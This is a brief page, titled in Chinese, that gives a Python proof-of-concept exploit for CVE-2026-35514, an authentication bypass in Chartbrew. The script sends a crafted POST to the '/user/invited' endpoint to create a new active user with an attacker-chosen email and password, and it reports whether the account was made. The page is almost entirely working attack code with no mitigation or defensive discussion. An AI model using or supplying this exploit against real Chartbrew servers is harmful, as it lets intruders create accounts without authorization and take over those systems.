CVE-2026-35514 Chartbrew认证绕过漏洞

import requests def exploit_chartbrew(url): """ PoC for CVE-2026-35514: Chartbrew Authentication Bypass via /user/invited """ target_endpoint = f"{url.rstrip('/')}/user/invited" # Malicious payload to create a new active user payload = { "email": "[email protected]", "password": "Admin123!", "name": "Malicious User" } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending request to {target_endpoint}...") response = requests.post(target_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Account created.") print("[+] Response data:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target exploit_chartbrew(target)